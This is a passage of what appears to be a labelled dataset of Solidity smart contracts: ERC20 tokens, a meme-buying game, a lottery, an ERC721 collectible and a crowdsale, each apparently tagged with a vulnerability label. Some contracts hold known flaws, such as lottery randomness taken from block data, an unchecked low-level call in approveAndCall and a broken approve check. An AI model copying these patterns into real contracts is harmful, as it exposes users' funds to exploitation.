function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ERC20Token is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function ERC20Token(
) {
balances[msg.sender] = 1000000000000000000;
totalSupply = 1000000000000000000;
name = "AFRICUNIA BANK";
decimals = 8;
symbol = "AFCASH";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 3,858 |
pragma solidity ^0.4.25;
contract SafeMath {
function safeMul(uint256 a, uint256 b) public pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b)public pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b)public pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b)public pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
function _assert(bool assertion)public pure {
assert(!assertion);
}
}
contract ERC20Interface {
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
function transfer(address _to, uint256 _value)public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value)public returns (bool success);
function approve(address _spender, uint256 _value)public returns (bool success);
function allowance(address _owner, address _spender)public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC20 is ERC20Interface,SafeMath{
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) allowed;
constructor(string memory _name) public {
name = _name;
symbol = "bzc";
decimals = 8;
totalSupply = 20000000000000000;
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value)public returns (bool success) {
require(_to != address(0));
require(balanceOf[msg.sender] >= _value);
require(balanceOf[ _to] + _value >= balanceOf[ _to]);
balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender],_value) ;
balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to],_value) ;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)public returns (bool success) {
require(_to != address(0));
require(allowed[_from][msg.sender] >= _value);
require(balanceOf[_from] >= _value);
require(balanceOf[ _to] + _value >= balanceOf[ _to]);
balanceOf[_from] =SafeMath.safeSub(balanceOf[_from],_value) ;
balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to],_value) ;
allowed[_from][msg.sender] =SafeMath.safeSub(allowed[_from][msg.sender],_value) ;
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 2,416 |
pragma solidity ^0.4.21;
contract Memes{
address owner;
address helper=0x690F34053ddC11bdFF95D44bdfEb6B0b83CBAb58;
uint256 public TimeFinish = 0;
uint256 TimerResetTime = 7200;
uint256 TimerStartTime = 360000;
uint256 public Pot = 0;
uint16 PIncr = 10000;
uint16 DIVP = 10000;
uint16 POTP = 0;
uint16 WPOTPART = 9000;
uint16 public DEVP = 500;
uint16 public HVAL = 5000;
uint256 BasicPrice = .00666 ether;
struct Item{
address owner;
uint256 CPrice;
bool reset;
}
uint8 constant SIZE = 17;
Item[SIZE] public ItemList;
address public PotOwner;
event ItemBought(address owner, uint256 newPrice, string says, uint8 id);
event GameWon(address owner, uint256 paid, uint256 npot);
modifier OnlyOwner(){
if (msg.sender == owner){
_;
}
else{
revert();
}
}
function SetDevFee(uint16 tfee) public OnlyOwner{
require(tfee <= 500);
DEVP = tfee;
}
function SetHFee(uint16 hfee) public OnlyOwner {
require(hfee <= 10000);
require(hfee >= 1000);
HVAL = hfee;
}
function Memes() public {
var ITM = Item(msg.sender, BasicPrice, true );
ItemList[0] = ITM;
ItemList[1] = ITM;
ItemList[2] = ITM;
ItemList[3] = ITM;
ItemList[4] = ITM;
ItemList[5] = ITM;
ItemList[6] = ITM;
ItemList[7] = ITM;
ItemList[8] = ITM;
ItemList[9] = ITM;
ItemList[10] = ITM;
ItemList[11] = ITM;
ItemList[12] = ITM;
ItemList[13] = ITM;
ItemList[14] = ITM;
ItemList[15] = ITM;
ItemList[16] = ITM;
owner=msg.sender;
}
function Buy(uint8 ID, string says) public payable {
require(ID < SIZE);
var ITM = ItemList[ID];
if (TimeFinish == 0){
TimeFinish = block.timestamp;
}
else if (TimeFinish == 1){
TimeFinish =block.timestamp + TimerResetTime;
}
uint256 price = ITM.CPrice;
if (ITM.reset){
price = BasicPrice;
}
if (msg.value >= price){
if (!ITM.reset){
require(msg.sender != ITM.owner);
}
if ((msg.value - price) > 0){
msg.sender.transfer(msg.value - price);
}
uint256 LEFT = DoDev(price);
uint256 prev_val = 0;
uint256 pot_val = LEFT;
address sender_target = owner;
if (!ITM.reset){
prev_val = (DIVP * LEFT) / 10000;
pot_val = (POTP * LEFT) / 10000;
sender_target = ITM.owner;
}
else{
prev_val = LEFT;
pot_val = 0;
}
Pot = Pot + pot_val;
sender_target.transfer(prev_val);
ITM.owner = msg.sender;
uint256 incr = PIncr;
ITM.CPrice = (price * (10000 + incr)) / 10000;
uint256 TimeLeft = TimeFinish - block.timestamp;
if (TimeLeft< TimerStartTime){
TimeFinish = block.timestamp + TimerStartTime;
}
if (ITM.reset){
ITM.reset=false;
}
PotOwner = msg.sender;
emit ItemBought(msg.sender, ITM.CPrice, says, ID);
}
else{
revert();
}
}
function DoDev(uint256 val) internal returns (uint256){
uint256 tval = (val * DEVP / 10000);
uint256 hval = (tval * HVAL) / 10000;
uint256 dval = tval - hval;
owner.transfer(dval);
helper.transfer(hval);
return (val-tval);
}
} | 0 | 1,377 |
contract iCryptolottoReferral {
function getPartnerByReferral(address) public constant returns (address) {}
function getPartnerPercent(address) public view returns (uint8) {}
function getSalesPartnerPercent(address) public view returns (uint8) {}
function getSalesPartner(address) public view returns (address) {}
function addReferral(address, address) public {}
}
contract iCryptolottoStatsAggregator {
function newWinner(address, uint, uint, uint, uint8, uint) public {}
}
contract iOwnable {
function getOwner() public view returns (address) {}
function allowed(address) public view returns (bool) {}
}
contract Cryptolotto7Days {
event Game(uint _game, uint indexed _time);
event Ticket(
address indexed _address,
uint indexed _game,
uint _number,
uint _time
);
event ToPartner(
address indexed _partner,
address _referral,
uint _amount,
uint _time
);
event ToSalesPartner(
address indexed _salesPartner,
address _partner,
uint _amount,
uint _time
);
uint8 public gType = 5;
uint8 public fee = 10;
uint public game;
uint public ticketPrice = 0.01 ether;
uint public newPrice;
uint public allTimeJackpot = 0;
uint public allTimePlayers = 0;
uint public paidToPartners = 0;
bool public isActive = true;
bool public toogleStatus = false;
uint[] public games;
mapping(uint => uint) jackpot;
mapping(uint => address[]) players;
iOwnable public ownable;
iCryptolottoStatsAggregator public stats;
iCryptolottoReferral public referralInstance;
address public fundsDistributor;
modifier onlyOwner() {
require(ownable.allowed(msg.sender));
_;
}
function Cryptolotto7Days(
address ownableContract,
address distributor,
address statsA,
address referralSystem
)
public
{
ownable = iOwnable(ownableContract);
stats = iCryptolottoStatsAggregator(statsA);
referralInstance = iCryptolottoReferral(referralSystem);
fundsDistributor = distributor;
startGame();
}
function() public payable {
buyTicket(address(0));
}
function getPlayedGamePlayers()
public
view
returns (uint)
{
return getPlayersInGame(game);
}
function getPlayersInGame(uint playedGame)
public
view
returns (uint)
{
return players[playedGame].length;
}
function getPlayedGameJackpot()
public
view
returns (uint)
{
return getGameJackpot(game);
}
function getGameJackpot(uint playedGame)
public
view
returns(uint)
{
return jackpot[playedGame];
}
function toogleActive() public onlyOwner() {
if (!isActive) {
isActive = true;
} else {
toogleStatus = !toogleStatus;
}
}
function start() public onlyOwner() {
if (players[game].length > 0) {
pickTheWinner();
}
startGame();
}
function changeTicketPrice(uint price)
public
onlyOwner()
{
newPrice = price;
}
function randomNumber(
uint min,
uint max,
uint time,
uint difficulty,
uint number,
bytes32 bHash
)
public
pure
returns (uint)
{
min ++;
max ++;
uint random = uint(keccak256(
time *
difficulty *
number *
uint(bHash)
))%10 + 1;
uint result = uint(keccak256(random))%(min+max)-min;
if (result > max) {
result = max;
}
if (result < min) {
result = min;
}
result--;
return result;
}
function buyTicket(address partner) public payable {
require(isActive);
require(msg.value == ticketPrice);
jackpot[game] += msg.value;
uint playerNumber = players[game].length;
players[game].push(msg.sender);
processReferralSystem(partner, msg.sender);
emit Ticket(msg.sender, game, playerNumber, now);
}
function startGame() internal {
require(isActive);
game = block.number;
if (newPrice != 0) {
ticketPrice = newPrice;
newPrice = 0;
}
if (toogleStatus) {
isActive = !isActive;
toogleStatus = false;
}
emit Game(game, now);
}
function pickTheWinner() internal {
uint winner;
uint toPlayer;
if (players[game].length == 1) {
toPlayer = jackpot[game];
players[game][0].transfer(jackpot[game]);
winner = 0;
} else {
winner = randomNumber(
0,
players[game].length - 1,
block.timestamp,
block.difficulty,
block.number,
blockhash(block.number - 1)
);
uint distribute = jackpot[game] * fee / 100;
toPlayer = jackpot[game] - distribute;
players[game][winner].transfer(toPlayer);
transferToPartner(players[game][winner]);
distribute -= paidToPartners;
bool result = address(fundsDistributor).call.gas(30000).value(distribute)();
if (!result) {
revert();
}
}
paidToPartners = 0;
stats.newWinner(
players[game][winner],
game,
players[game].length,
toPlayer,
gType,
winner
);
allTimeJackpot += toPlayer;
allTimePlayers += players[game].length;
}
function processReferralSystem(address partner, address referral)
internal
{
address partnerRef = referralInstance.getPartnerByReferral(referral);
if (partner != address(0) || partnerRef != address(0)) {
if (partnerRef == address(0)) {
referralInstance.addReferral(partner, referral);
partnerRef = partner;
}
if (players[game].length > 1) {
transferToPartner(referral);
}
}
}
function transferToPartner(address referral) internal {
address partner = referralInstance.getPartnerByReferral(referral);
if (partner != address(0)) {
uint sum = getPartnerAmount(partner);
if (sum != 0) {
partner.transfer(sum);
paidToPartners += sum;
emit ToPartner(partner, referral, sum, now);
transferToSalesPartner(partner);
}
}
}
function transferToSalesPartner(address partner) internal {
address salesPartner = referralInstance.getSalesPartner(partner);
if (salesPartner != address(0)) {
uint sum = getSalesPartnerAmount(partner);
if (sum != 0) {
salesPartner.transfer(sum);
paidToPartners += sum;
emit ToSalesPartner(salesPartner, partner, sum, now);
}
}
}
function getPartnerAmount(address partner)
internal
view
returns (uint)
{
uint8 partnerPercent = referralInstance.getPartnerPercent(partner);
if (partnerPercent == 0) {
return 0;
}
return calculateReferral(partnerPercent);
}
function getSalesPartnerAmount(address partner)
internal
view
returns (uint)
{
uint8 salesPartnerPercent = referralInstance.getSalesPartnerPercent(partner);
if (salesPartnerPercent == 0) {
return 0;
}
return calculateReferral(salesPartnerPercent);
}
function calculateReferral(uint8 percent)
internal
view
returns (uint)
{
uint distribute = ticketPrice * fee / 100;
return distribute * percent / 100;
}
} | 0 | 572 |
pragma solidity ^0.4.18;
contract ERC721 {
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract SportStarToken is ERC721 {
event Transfer(address from, address to, uint256 tokenId);
mapping (uint256 => address) public tokenIndexToOwner;
mapping (address => uint256) private ownershipTokenCount;
mapping (uint256 => address) public tokenIndexToApproved;
mapping (uint256 => bytes32) public tokenIndexToData;
address public ceoAddress;
address public masterContractAddress;
uint256 public promoCreatedCount;
struct Token {
string name;
}
Token[] private tokens;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyMasterContract() {
require(msg.sender == masterContractAddress);
_;
}
function SportStarToken() public {
ceoAddress = msg.sender;
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setMasterContract(address _newMasterContract) public onlyCEO {
require(_newMasterContract != address(0));
masterContractAddress = _newMasterContract;
}
function getToken(uint256 _tokenId) public view returns (
string tokenName,
address owner
) {
Token storage token = tokens[_tokenId];
tokenName = token.name;
owner = tokenIndexToOwner[_tokenId];
}
function tokensOfOwner(address _owner) public view returns (uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalTokens = totalSupply();
uint256 resultIndex = 0;
uint256 tokenId;
for (tokenId = 0; tokenId <= totalTokens; tokenId++) {
if (tokenIndexToOwner[tokenId] == _owner) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
return result;
}
}
function getTokenData(uint256 _tokenId) public view returns (bytes32 tokenData) {
return tokenIndexToData[_tokenId];
}
function approve(address _to, uint256 _tokenId) public {
require(_owns(msg.sender, _tokenId));
tokenIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function name() public pure returns (string) {
return "CryptoSportStars";
}
function symbol() public pure returns (string) {
return "SportStarToken";
}
function implementsERC721() public pure returns (bool) {
return true;
}
function ownerOf(uint256 _tokenId) public view returns (address owner)
{
owner = tokenIndexToOwner[_tokenId];
require(owner != address(0));
}
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = tokenIndexToOwner[_tokenId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
function totalSupply() public view returns (uint256 total) {
return tokens.length;
}
function transfer(address _to, uint256 _tokenId) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
function createToken(string _name, address _owner) public onlyMasterContract returns (uint256 _tokenId) {
return _createToken(_name, _owner);
}
function updateOwner(address _from, address _to, uint256 _tokenId) public onlyMasterContract {
_transfer(_from, _to, _tokenId);
}
function setTokenData(uint256 _tokenId, bytes32 tokenData) public onlyMasterContract {
tokenIndexToData[_tokenId] = tokenData;
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return tokenIndexToApproved[_tokenId] == _to;
}
function _createToken(string _name, address _owner) private returns (uint256 _tokenId) {
Token memory _token = Token({
name: _name
});
uint256 newTokenId = tokens.push(_token) - 1;
require(newTokenId == uint256(uint32(newTokenId)));
_transfer(address(0), _owner, newTokenId);
return newTokenId;
}
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == tokenIndexToOwner[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
tokenIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete tokenIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
}
contract SportStarMaster {
event Birth(uint256 tokenId, string name, address owner);
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner);
event Transfer(address from, address to, uint256 tokenId);
uint256 private startingPrice = 0.001 ether;
uint256 private constant PROMO_CREATION_LIMIT = 5000;
uint256 private firstStepLimit = 0.053613 ether;
uint256 private secondStepLimit = 0.564957 ether;
mapping(uint256 => uint256) private tokenIndexToPrice;
address public ceoAddress;
address public cooAddress;
SportStarToken public tokensContract;
uint256 public promoCreatedCount;
uint256 private increaseLimit1 = 0.05 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
_;
}
function SportStarMaster() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function setTokensContract(address _newTokensContract) public onlyCEO {
require(_newTokensContract != address(0));
tokensContract = SportStarToken(_newTokensContract);
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function getTokenInfo(uint256 _tokenId) public view returns (
address owner,
uint256 price
) {
owner = tokensContract.ownerOf(_tokenId);
price = tokenIndexToPrice[_tokenId];
}
function createPromoToken(address _owner, string _name, uint256 _price) public onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address tokenOwner = _owner;
if (tokenOwner == address(0)) {
tokenOwner = cooAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
promoCreatedCount++;
uint256 newTokenId = tokensContract.createToken(_name, tokenOwner);
tokenIndexToPrice[newTokenId] = startingPrice;
Birth(newTokenId, _name, _owner);
}
function createContractToken(string _name) public onlyCOO {
uint256 newTokenId = tokensContract.createToken(_name, address(this));
tokenIndexToPrice[newTokenId] = startingPrice;
Birth(newTokenId, _name, address(this));
}
function purchase(uint256 _tokenId) public payable {
address oldOwner = tokensContract.ownerOf(_tokenId);
address newOwner = msg.sender;
uint256 sellingPrice = tokenIndexToPrice[_tokenId];
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= sellingPrice);
uint256 devCut = calculateDevCut(sellingPrice);
uint256 payment = SafeMath.sub(sellingPrice, devCut);
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
tokenIndexToPrice[_tokenId] = calculateNextPrice(sellingPrice);
tokensContract.updateOwner(oldOwner, newOwner, _tokenId);
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
TokenSold(_tokenId, sellingPrice, tokenIndexToPrice[_tokenId], oldOwner, newOwner);
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return tokenIndexToPrice[_tokenId];
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < increaseLimit1) {
return SafeMath.div(SafeMath.mul(_price, 3), 100);
} else if (_price < increaseLimit2) {
return SafeMath.div(SafeMath.mul(_price, 3), 100);
} else if (_price < increaseLimit3) {
return SafeMath.div(SafeMath.mul(_price, 3), 100);
} else if (_price < increaseLimit4) {
return SafeMath.div(SafeMath.mul(_price, 3), 100);
} else {
return SafeMath.div(SafeMath.mul(_price, 2), 100);
}
}
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < increaseLimit1) {
return SafeMath.div(SafeMath.mul(_price, 200), 97);
} else if (_price < increaseLimit2) {
return SafeMath.div(SafeMath.mul(_price, 133), 97);
} else if (_price < increaseLimit3) {
return SafeMath.div(SafeMath.mul(_price, 125), 97);
} else if (_price < increaseLimit4) {
return SafeMath.div(SafeMath.mul(_price, 115), 97);
} else {
return SafeMath.div(SafeMath.mul(_price, 113), 98);
}
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,988 |
pragma solidity ^ 0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns(uint256);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns(uint256);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function approve(address spender, uint256 value) public returns(bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value != 0) && (allowed[msg.sender][_spender] != 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract MintableToken is StandardToken, Claimable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
return _mint(_to, _amount);
}
function _mint(address _to, uint256 _amount) internal canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Pausable is Claimable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function canRelease() public view returns (bool){
return block.timestamp >= releaseTime;
}
function release() public {
require(canRelease());
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract Crowdsale{
using SafeMath for uint256;
enum TokenLockType { TYPE_NOT_LOCK, TYPE_SEED_INVESTOR, TYPE_PRE_SALE, TYPE_TEAM}
uint256 internal constant UINT256_MAX = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint8 internal constant SEED_INVESTOR_BONUS_RATE = 50;
uint256 internal constant MAX_SALECOUNT_PER_ADDRESS = 30;
address public wallet;
uint256 public rate = 5000;
uint256 public weiRaised;
Phase[] internal phases;
struct Phase {
uint256 till;
uint256 bonusRate;
}
uint256 public currentPhase = 0;
mapping (address => uint256 ) public saleCount;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(address _wallet) public {
require(_wallet != address(0));
phases.push(Phase({ till: 1527782400, bonusRate: 30 }));
phases.push(Phase({ till: 1531238400, bonusRate: 20 }));
phases.push(Phase({ till: 1533916800, bonusRate: 10 }));
phases.push(Phase({ till: UINT256_MAX, bonusRate: 0 }));
wallet = _wallet;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 nowTime = block.timestamp;
while (currentPhase < phases.length && phases[currentPhase].till < nowTime) {
currentPhase = currentPhase.add(1);
}
if (currentPhase == 0) {
require(weiAmount >= 1 ether);
}
uint256 tokens = _getTokenAmount(weiAmount);
TokenLockType lockType = _getTokenLockType(weiAmount);
if (lockType != TokenLockType.TYPE_NOT_LOCK) {
require(saleCount[_beneficiary].add(1) <= MAX_SALECOUNT_PER_ADDRESS);
saleCount[_beneficiary] = saleCount[_beneficiary].add(1);
}
weiRaised = weiRaised.add(weiAmount);
_deliverTokens(_beneficiary, tokens, lockType);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view {
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(currentPhase < phases.length);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount, TokenLockType lockType) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 tokens = _weiAmount.mul(rate);
uint256 bonusRate = 0;
if (_weiAmount >= 1000 ether) {
bonusRate = SEED_INVESTOR_BONUS_RATE;
} else {
bonusRate = phases[currentPhase].bonusRate;
}
uint256 bonus = tokens.mul(bonusRate).div(uint256(100));
return tokens.add(bonus);
}
function _getTokenLockType(uint256 _weiAmount) internal view returns (TokenLockType) {
TokenLockType lockType = TokenLockType.TYPE_NOT_LOCK;
if (_weiAmount >= 1000 ether) {
lockType = TokenLockType.TYPE_SEED_INVESTOR;
} else if (currentPhase == 0 ) {
lockType = TokenLockType.TYPE_PRE_SALE;
}
return lockType;
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract StopableCrowdsale is Crowdsale, Claimable{
bool public crowdsaleStopped = false;
modifier onlyNotStopped {
require(!crowdsaleStopped);
_;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view onlyNotStopped {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function stopCrowdsale() public onlyOwner {
require(!crowdsaleStopped);
crowdsaleStopped = true;
}
function startCrowdsale() public onlyOwner {
require(crowdsaleStopped);
